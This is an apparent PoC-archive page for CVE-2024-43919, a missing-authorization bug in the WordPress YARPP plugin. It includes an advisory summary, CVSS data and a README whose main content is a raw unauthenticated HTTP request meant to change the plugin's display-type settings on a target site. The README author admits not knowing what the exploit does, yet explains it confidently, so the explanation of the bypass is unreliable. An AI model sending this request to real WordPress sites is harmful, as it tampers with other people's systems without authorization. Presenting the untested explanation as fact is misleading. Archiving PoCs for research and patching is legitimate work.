Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-43919 PoC — WordPress plugin YARPP 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin YARPP 安全漏洞 (CVE-2024-43919)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin YARPP 5.30.10版本及之前版本存在安全漏洞,该漏洞源于包含一个访问控制漏洞。
Description
YARPP <= 5.30.10 - Missing Authorization
Readme
# CVE-2024-43919
YARPP &lt;= 5.30.10 - Missing Authorization

# Description

The YARPP – Yet Another Related Posts Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check in the ~/includes/yarpp_pro_set_display_types.php file in all versions up to, and including, 5.30.10. This makes it possible for unauthenticated attackers to set display types.

```
Type: plugin
CVSS Score: 5.3
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVE: CVE-2024-43919
Slug: yet-another-related-posts-plugin
```

Info
---

Not a clue what this actually does.

POC
---


Here's an example of a raw HTTP request that exploits the vulnerability in the YARPP plugin:

```
GET /wp-content/plugins/yet-another-related-posts-plugin/includes/yarpp_pro_set_display_types.php?ypsdt=false&types[]=post&types[]=page HTTP/1.1
Host: example.com
```

In this request:
- The `ypsdt` parameter is set to `false` to bypass the initial check in the code.
- The `types[]` parameter is used to specify the display types to set. In this example, `post` and `page` are passed as the types.
- The `Host` header specifies the target WordPress site hosting the vulnerable YARPP plugin.

When this request is sent to a WordPress site with a vulnerable version of the YARPP plugin installed, it will set the display types without requiring any authentication or authorization.

File Snapshot

[4.0K] /data/pocs/370ce709ff93a0ede04d6bf7d17a5ccc4ffd599d └── [1.4K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.